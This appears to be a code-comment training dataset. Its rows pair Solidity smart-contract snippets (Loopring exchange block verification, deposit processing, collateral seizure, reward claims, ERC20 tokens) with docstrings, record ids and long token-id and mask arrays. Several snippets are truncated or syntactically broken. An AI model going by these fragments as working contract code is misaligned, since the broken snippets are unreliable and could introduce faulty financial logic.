firstBlock = blocks[i];
batch[batchLength++] = i;
} else {
ExchangeData.Block memory _block = blocks[i];
if (_block.blockType == firstBlock.blockType &&
_block.blockSize == firstBlock.blockSize &&
_block.blockVersion == firstBlock.blockVersion) {
batch[batchLength++] = i;
}
}
}
}
// Prepare the data for batch verification
uint[] memory publicInputs = new uint[](batchLength);
uint[] memory proofs = new uint[](batchLength * 8);
for (uint i = 0; i < batchLength; i++) {
uint blockIdx = batch[i];
// Mark the block as verified
blockVerified[blockIdx] = true;
// Strip the 3 least significant bits of the public data hash
// so we don't have any overflow in the snark field
publicInputs[i] = uint(publicDataHashes[blockIdx]) >> 3;
// Copy proof
ExchangeData.Block memory _block = blocks[blockIdx];
for (uint j = 0; j < 8; j++) {
proofs[i*8 + j] = _block.proof[j];
}
}
// Verify the proofs
require(
blockVerifier.verifyProofs(
uint8(firstBlock.blockType),
firstBlock.blockSize,
firstBlock.blockVersion,
publicInputs,
proofs
),
"INVALID_PROOF"
);
numBlocksVerified += batchLength;
}
}
function processConditionalTransactions(
ExchangeData.State storage S,
ExchangeData.Block memory _block,
BlockReader.BlockHeader memory header
)
private
{
if (header.numConditionalTransactions > 0) {
// Cache the domain seperator to save on SLOADs each time it is accessed.
ExchangeData.BlockContext memory ctx = ExchangeData.BlockContext({
DOMAIN_SEPARATOR: S.DOMAIN_SEPARATOR,
timestamp: header.timestamp
});
ExchangeData.AuxiliaryData[] memory block_auxiliaryData;
bytes memory blockAuxData = _block.auxiliaryData;
assembly {
block_auxiliaryData := add(blockAuxData, 64)
}
require(
block_auxiliaryData.length == header.numConditionalTransactions,
"AUXILIARYDATA_INVALID_LENGTH"
);
// Run over all conditional transactions
uint minTxIndex = 0;
bytes memory txData = new bytes(ExchangeData.TX_DATA_AVAILABILITY_SIZE);
for (uint i = 0; i < block_auxiliaryData.length; i++) {
// Load the data from auxiliaryData, which is still encoded as calldata
uint txIndex;
bool approved;
bytes memory auxData;
assembly {
// Offset to block_auxiliaryData[i]
let auxOffset := mload(add(block_auxiliaryData, add(32, mul(32, i))))
// Load `txIndex` (pos 0) and `approved` (pos 1) in block_auxiliaryData[i]
txIndex := mload(add(add(32, block_auxiliaryData), auxOffset))
approved := mload(add(add(64, block_auxiliaryData), auxOffset))
// Load `data` (pos 2)
let auxDataOffset := mload(add(add(96, block_auxiliaryData), auxOffset))
auxData := add(add(32, block_auxiliaryData), add(auxOffset, auxDataOffset))
}
// Each conditional transaction needs to be processed from left to right
require(txIndex >= minTxIndex, "AUXILIARYDATA_INVALID_ORDER");
minTxIndex = txIndex + 1;
if (approved) {
continue;
}
// Get the transaction data
_block.data.readTransactionData(txIndex, _block.blockSize, txData);
// Process the transaction
ExchangeData.TransactionType txType = ExchangeData.TransactionType(
txData.toUint8(0)
);
uint txDataOffset = 0;
if (txType == ExchangeData.TransactionType.DEPOSIT) {
DepositTransaction.process(
S,
ctx,
txData,
txDataOffset,
auxData
);
} else if (txType == ExchangeData.TransactionType.WITHDRAWAL) {
WithdrawTransaction.process(
S,
ctx,
txData,
txDataOffset,
auxData
);
} else if (txType == ExchangeData.TransactionType.TRANSFER) {
TransferTransaction.process(
S,
ctx,
txData,
txDataOffset,
auxData
);
} else if (txType == ExchangeData.TransactionType.ACCOUNT_UPDATE) {
AccountUpdateTransaction.process(
S,
ctx,
txData,
txDataOffset,
auxData
);
} else if (txType == ExchangeData.TransactionType.AMM_UPDATE) {
AmmUpdateTransaction.process(
S,
ctx,
txData,
txDataOffset,
auxData
);
} else {
// ExchangeData.TransactionType.NOOP,
// ExchangeData.TransactionType.SPOT_TRADE and
// ExchangeData.TransactionType.SIGNATURE_VERIFICATION
// are not supported
revert("UNSUPPORTED_TX_TYPE");
}
}
}
}
function validateAndSyncProtocolFees(
ExchangeData.State storage S,
uint8 takerFeeBips,
uint8 makerFeeBips
)
private
returns (bool)
{
ExchangeData.ProtocolFeeData memory data = S.protocolFeeData;
if (block.timestamp > data.syncedAt + ExchangeData.MIN_AGE_PROTOCOL_FEES_UNTIL_UPDATED) {
// Store the current protocol fees in the previous protocol fees
data.previousTakerFeeBips = data.takerFeeBips;
data.previousMakerFeeBips = data.makerFeeBips;
// Get the latest protocol fees for this exchange
(data.takerFeeBips, data.makerFeeBips) = S.loopring.getProtocolFeeValues();
data.syncedAt = uint32(block.timestamp);
if (data.takerFeeBips != data.previousTakerFeeBips ||
data.makerFeeBips != data.previousMakerFeeBips) {
emit ProtocolFeesUpdated(
data.takerFeeBips,
data.makerFeeBips,
data.previousTakerFeeBips,
data.previousMakerFeeBips
);
}
// Update the data in storage
S.protocolFeeData = data;
}
// The given fee values are valid if they are the current or previous protocol fee values
return (takerFeeBips == data.takerFeeBips && makerFeeBips == data.makerFeeBips) ||
(takerFeeBips == data.previousTakerFeeBips && makerFeeBips == data.previousMakerFeeBips);
}
} | Read in the deposit If the deposit was fully consumed, reset it so the storage is freed up and the owner receives a gas refund. | function process(
ExchangeData.State storage S,
ExchangeData.BlockContext memory /*ctx*/,
bytes memory data,
uint offset,
bytes memory /*auxiliaryData*/
)
internal
{
Deposit memory deposit;
readTx(data, offset, deposit);
if (deposit.amount == 0) {
return;
}
require(pendingDeposit.amount >= deposit.amount, "INVALID_AMOUNT");
pendingDeposit.amount = pendingDeposit.amount.sub(deposit.amount);
if (pendingDeposit.amount == 0) {
delete S.pendingDeposits[deposit.to][deposit.tokenID];
S.pendingDeposits[deposit.to][deposit.tokenID] = pendingDeposit;
}
}
| 334,309 | [
1,
1994,
316,
326,
443,
1724,
971,
326,
443,
1724,
1703,
7418,
12393,
16,
2715,
518,
1427,
326,
2502,
353,
28004,
731,
471,
326,
3410,
17024,
279,
16189,
16255,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1207,
12,
203,
3639,
18903,
751,
18,
1119,
3639,
2502,
348,
16,
203,
3639,
18903,
751,
18,
1768,
1042,
3778,
225,
1748,
5900,
5549,
16,
203,
3639,
1731,
5397,
3778,
225,
501,
16,
203,
3639,
2254,
17311,
1384,
16,
203,
3639,
1731,
5397,
3778,
225,
1748,
18196,
20606,
751,
5549,
203,
3639,
262,
203,
3639,
2713,
203,
565,
288,
203,
3639,
4019,
538,
305,
3778,
443,
1724,
31,
203,
3639,
855,
4188,
12,
892,
16,
1384,
16,
443,
1724,
1769,
203,
3639,
309,
261,
323,
1724,
18,
8949,
422,
374,
13,
288,
203,
5411,
327,
31,
203,
3639,
289,
203,
203,
203,
3639,
2583,
12,
9561,
758,
1724,
18,
8949,
1545,
443,
1724,
18,
8949,
16,
315,
9347,
67,
2192,
51,
5321,
8863,
203,
3639,
4634,
758,
1724,
18,
8949,
273,
4634,
758,
1724,
18,
8949,
18,
1717,
12,
323,
1724,
18,
8949,
1769,
203,
203,
3639,
309,
261,
9561,
758,
1724,
18,
8949,
422,
374,
13,
288,
203,
5411,
1430,
348,
18,
9561,
758,
917,
1282,
63,
323,
1724,
18,
869,
6362,
323,
1724,
18,
2316,
734,
15533,
203,
5411,
348,
18,
9561,
758,
917,
1282,
63,
323,
1724,
18,
869,
6362,
323,
1724,
18,
2316,
734,
65,
273,
4634,
758,
1724,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xE0fC587E1F56b5968a7d5DC3667bA1f385fddb38/sources/contracts/TermRepoCollateralManager.sol | @dev returns total amount of collateral seized in liquidation and the amount of that total going protocol this is equivalent to usdValueOfClosureAmount / discountedPriceofCollateralToken | function _collateralSeizureAmounts(
uint256 amountToCover_,
address collateralToken
) internal view returns (uint256, uint256) {
IERC20MetadataUpgradeable tokenInstance = IERC20MetadataUpgradeable(
collateralToken
);
Exp memory usdValueOfCoverAmount = termPriceOracle.usdValueOfTokens(
purchaseToken,
amountToCover_
);
Exp memory latestPriceValueCollateralAmount = div_(
usdValueOfCoverAmount,
termPriceOracle.usdValueOfTokens(
collateralToken,
10 ** (tokenInstance.decimals())
)
);
Exp memory collateralAmountWithDiscount = mul_(
latestPriceValueCollateralAmount,
add_(
)
);
Exp memory protocolSeizureAmount = mul_(
latestPriceValueCollateralAmount,
);
return (
collateralAmountWithDiscount.mantissa /
10 ** (18 - tokenInstance.decimals()),
protocolSeizureAmount.mantissa /
10 ** (18 - tokenInstance.decimals())
);
}
| 9,687,157 | [
1,
6154,
2078,
3844,
434,
4508,
2045,
287,
695,
1235,
316,
4501,
26595,
367,
471,
326,
3844,
434,
716,
2078,
8554,
1771,
333,
353,
7680,
358,
584,
72,
620,
951,
10573,
6275,
342,
12137,
329,
5147,
792,
13535,
2045,
287,
1345,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
12910,
2045,
287,
1761,
452,
594,
6275,
87,
12,
203,
3639,
2254,
5034,
3844,
774,
8084,
67,
16,
203,
3639,
1758,
4508,
2045,
287,
1345,
203,
565,
262,
2713,
1476,
1135,
261,
11890,
5034,
16,
2254,
5034,
13,
288,
203,
3639,
467,
654,
39,
3462,
2277,
10784,
429,
1147,
1442,
273,
467,
654,
39,
3462,
2277,
10784,
429,
12,
203,
5411,
4508,
2045,
287,
1345,
203,
3639,
11272,
203,
3639,
7784,
3778,
584,
72,
620,
951,
8084,
6275,
273,
2481,
5147,
23601,
18,
407,
72,
620,
951,
5157,
12,
203,
5411,
23701,
1345,
16,
203,
5411,
3844,
774,
8084,
67,
203,
3639,
11272,
203,
3639,
7784,
3778,
4891,
5147,
620,
13535,
2045,
287,
6275,
273,
3739,
67,
12,
203,
5411,
584,
72,
620,
951,
8084,
6275,
16,
203,
5411,
2481,
5147,
23601,
18,
407,
72,
620,
951,
5157,
12,
203,
7734,
4508,
2045,
287,
1345,
16,
203,
7734,
1728,
2826,
261,
2316,
1442,
18,
31734,
10756,
203,
5411,
262,
203,
3639,
11272,
203,
203,
3639,
7784,
3778,
4508,
2045,
287,
6275,
1190,
9866,
273,
14064,
67,
12,
203,
5411,
4891,
5147,
620,
13535,
2045,
287,
6275,
16,
203,
5411,
527,
67,
12,
203,
5411,
262,
203,
3639,
11272,
203,
203,
3639,
7784,
3778,
1771,
1761,
452,
594,
6275,
273,
14064,
67,
12,
203,
5411,
4891,
5147,
620,
13535,
2045,
287,
6275,
16,
203,
3639,
11272,
203,
203,
3639,
327,
261,
203,
5411,
4508,
2045,
287,
6275,
1190,
9866,
18,
81,
970,
21269,
342,
203,
7734,
1728,
2826,
261,
2643,
300,
1147,
2
]
|
./partial_match/1/0x9ebf824c267b75Fc7aA0935D2F47375b5D41C8a8/sources/GregsAmazingLandscapes.sol | calculation of 5% royalty
| uint256 royalty = EQTamount/20; | 3,937,073 | [
1,
29916,
434,
1381,
9,
721,
93,
15006,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
2254,
5034,
721,
93,
15006,
273,
22426,
56,
8949,
19,
3462,
31,
21394,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.21;
// File: @gnosis.pm/util-contracts/contracts/Token.sol
/// Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
pragma solidity ^0.4.18;
/// @title Abstract token contract - Functions to be implemented by token contracts
contract Token {
/*
* Events
*/
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
/*
* Public functions
*/
function transfer(address to, uint value) public returns (bool);
function transferFrom(address from, address to, uint value) public returns (bool);
function approve(address spender, uint value) public returns (bool);
function balanceOf(address owner) public view returns (uint);
function allowance(address owner, address spender) public view returns (uint);
function totalSupply() public view returns (uint);
}
// File: contracts/RewardClaimHandler.sol
contract RewardClaimHandler {
Token public rewardToken;
address public operator;
address[] public winners;
mapping (address => uint) public rewardAmounts;
uint public guaranteedClaimEndTime;
function RewardClaimHandler(Token _rewardToken) public {
rewardToken = _rewardToken;
operator = msg.sender;
}
function registerRewards(address[] _winners, uint[] _rewardAmounts, uint duration) public {
require(
winners.length == 0 &&
_winners.length > 0 &&
_winners.length == _rewardAmounts.length &&
msg.sender == operator
);
uint totalAmount = 0;
for(uint i = 0; i < _winners.length; i++) {
totalAmount += _rewardAmounts[i];
rewardAmounts[_winners[i]] = _rewardAmounts[i];
}
require(rewardToken.transferFrom(msg.sender, this, totalAmount));
winners = _winners;
guaranteedClaimEndTime = now + duration;
}
function claimReward() public {
require(winners.length > 0 && rewardToken.transfer(msg.sender, rewardAmounts[msg.sender]));
rewardAmounts[msg.sender] = 0;
}
function retractRewards() public {
require(winners.length > 0 && msg.sender == operator && now >= guaranteedClaimEndTime);
uint totalAmount = 0;
for(uint i = 0; i < winners.length; i++) {
totalAmount += rewardAmounts[winners[i]];
rewardAmounts[winners[i]] = 0;
// We don't use:
// winners[i] = 0;
// because of this:
// https://ethereum.stackexchange.com/questions/3373/how-to-clear-large-arrays-without-blowing-the-gas-limit
// This is a more gas efficient overall if more than one run happens
}
require(rewardToken.transfer(msg.sender, totalAmount));
winners.length = 0;
}
} | @title Abstract token contract - Functions to be implemented by token contracts | contract Token {
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function transfer(address to, uint value) public returns (bool);
function transferFrom(address from, address to, uint value) public returns (bool);
function approve(address spender, uint value) public returns (bool);
function balanceOf(address owner) public view returns (uint);
function allowance(address owner, address spender) public view returns (uint);
function totalSupply() public view returns (uint);
pragma solidity ^0.4.18;
}
| 588,024 | [
1,
7469,
1147,
6835,
300,
15486,
358,
506,
8249,
635,
1147,
20092,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
3155,
288,
203,
203,
565,
871,
12279,
12,
2867,
8808,
628,
16,
1758,
8808,
358,
16,
2254,
460,
1769,
203,
565,
871,
1716,
685,
1125,
12,
2867,
8808,
3410,
16,
1758,
8808,
17571,
264,
16,
2254,
460,
1769,
203,
203,
565,
445,
7412,
12,
2867,
358,
16,
2254,
460,
13,
1071,
1135,
261,
6430,
1769,
203,
565,
445,
7412,
1265,
12,
2867,
628,
16,
1758,
358,
16,
2254,
460,
13,
1071,
1135,
261,
6430,
1769,
203,
565,
445,
6617,
537,
12,
2867,
17571,
264,
16,
2254,
460,
13,
1071,
1135,
261,
6430,
1769,
203,
565,
445,
11013,
951,
12,
2867,
3410,
13,
1071,
1476,
1135,
261,
11890,
1769,
203,
565,
445,
1699,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
1071,
1476,
1135,
261,
11890,
1769,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
1476,
1135,
261,
11890,
1769,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
24,
18,
2643,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.11;
library LibTransfer {
function transferEth(address to, uint256 value) internal {
// solhint-disable-next-line
(bool success, ) = to.call{ value: value }('');
require(success, 'transfer failed');
}
}
| solhint-disable-next-line | function transferEth(address to, uint256 value) internal {
require(success, 'transfer failed');
}
| 12,981,520 | [
1,
18281,
11317,
17,
8394,
17,
4285,
17,
1369,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7412,
41,
451,
12,
2867,
358,
16,
2254,
5034,
460,
13,
2713,
288,
203,
3639,
2583,
12,
4768,
16,
296,
13866,
2535,
8284,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
import "https://github.com/OpenZeppelin/openzeppelin-solidity/blob/7618b91d9cc51c4b6dfeca209af8daf1992abddc/contracts/token/ERC20/MintableToken.sol";
import "https://github.com/OpenZeppelin/openzeppelin-solidity/blob/7618b91d9cc51c4b6dfeca209af8daf1992abddc/contracts/token/ERC20/BurnableToken.sol";
/*
* But it might be better to collapse elaborate inheritance hierarchies!
*/
contract MintableBurnableERC20 is MintableToken, BurnableToken {
}
| But it might be better to collapse elaborate inheritance hierarchies!/ | contract MintableBurnableERC20 is MintableToken, BurnableToken {
}
| 13,060,158 | [
1,
31167,
518,
4825,
506,
7844,
358,
13627,
415,
378,
280,
340,
16334,
366,
5148,
606,
5,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
